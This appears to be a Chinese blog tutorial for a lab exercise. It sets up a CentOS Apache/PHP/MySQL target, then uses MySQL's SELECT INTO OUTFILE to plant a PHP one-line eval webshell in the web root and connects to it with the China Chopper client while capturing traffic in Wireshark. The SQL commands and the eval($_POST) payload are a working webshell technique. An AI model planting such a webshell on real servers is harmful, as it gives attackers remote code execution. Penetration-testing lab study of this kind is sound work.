1.搭建靶机环境

(1)实验环境及思路

靶机：centos7 以安装好MySQL服务
攻击机：win7
使用工具：Navicat、wireshark、菜刀

(2)搭建靶机环境

（1）firewall-cmd --zone=public --add-port=80/tcp --permanent 开80端口
systemctl restart firewalld.service 重启防火墙
确保已安装好MySQL
（2）rpm -ivh mysql-community-libs-compat-5.7.30-1.el7.x86_64.rpm安装php所需要的依赖环境
（3）yum install php php-mysql -yyum安装php
（4）yum -y install httpd*为其安装Apache服务
（5）vi /etc/httpd/conf/httpd.conf修改apache配置文件
在配置文件中修改如下，添加如下内容
AddType application/x-httpd-php-source .phps——apache能过够解析phps文件
AddType application/x-httpd-php .php——apache能过够解析php文件
（6）cd /var/www/html apache网站的根目录
vi phpinfo.php
<? php phpinfo(); ?>编写php文件，配置php网站，这是条php语句
systemctl restart httpd重启apache服务
(6)localhost/phpinfo.phpfirefox中输入可以访问代表网站服务搭建成功

2.用Navicat构建一句话SQL注入木马

show databases;
create database TEST;
use TEST;
show tables;
create table muma(cmd text);
insert into muma values(concat('<?php @eval($_POST[','"','mimi','"',']); ?>'));
select * from muma;
select * from muma into outfile '/var/www/html/ma.php'

3.通过菜刀连接靶机

cd /var/www/html

ifconfig查看靶机IP
使用win7上的菜刀工具进行连接
双击进入，可以看到我们已经成功进入到靶机的数据库中
我们可以用Wireshark来抓取菜刀的流量包，靶机记得开启apache服务
systemctl start httpd
启用wireshark，然后用菜刀访问我们所写入的木马文件ma.php
wireshark启用流量过滤，方便我们找到菜刀的流量包
ip.addr == 192.168.8.141 and http

在这里插入图片描述

一句话木马SQL注入相关推荐

第一次sql注入的教训与思考
sql注入实验靶场在云演课堂web安全入门sql注入第一节这课程排的我也不知道啥是sql注入,啥是文件上传漏洞了文章目录 sql注入实验 sql注入是如何发生的假设从服务端代码入手 show ...
渗透测试SQL注入——Sqlilabs关卡详解
目录报错函数floor的利用利用select into outfile写一句话木马利用load_file 读敏感文件利用sqlmap探测 sql盲注 get基于时间的盲注应用 post基于时间 ...
SQL注入上传一句话木马
利用sql注入上传一句话木马导读 1. sql注入的危害 2. 文件写入 2.1 webshell.一句话木马.后门 webshell(大马) 一句话木马木马文件的危害 2.2 文件写入的前提条件 ...
php mysql 注入一句话木马_渗透技术--SQL注入写一句话木马原理
讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...
后台登录密码绕过+sql注入+一句话木马实验演示(盾灵)
环境 Windows Server 2008(虚拟机) 安装phpStudy,安装dunling 盾灵投稿系统 dunling是一个CMS在线内容管理器 dirb是Kali内置的一个基于字典的We ...
sql注入与一句话木马
0x00 sql注入之一句话木马首先介绍一下一句话木马: 一句话木马是一种基于 B/S结构的简短脚本,通过这个脚本,执行POST来的任意参数语句,可以提交任意内容,黑客借此进行SQL注入或拿到SHE ...
SQL注入一句话木马（load_file/out file）
工具靶机--metasploitable2 环境--DVWA,(low等级下) 菜刀--蚁剑权限查看查看mysql是否有对函数load_file(),outfile()函数的限制 (secure ...
全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】
靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日靶机描述:欢迎使用" IMF&qu ...
bt5制作php木马,Bt5的sql注入实例
版权声明:转载原创文章请以超链接形式请注明原文章出处,尊重作者,尊重原创! 恰饭广告任务描述: 了解sql注入方法P170 任务环境说明: 攻击机:BT5 靶机:WEB服务器攻击机安装服务/工具1 ...

一句话木马SQL注入

目录

1.搭建靶机环境

(1)实验环境及思路

(2)搭建靶机环境

2.用Navicat构建一句话SQL注入木马

3.通过菜刀连接靶机

一句话木马SQL注入相关推荐

最新文章

热门文章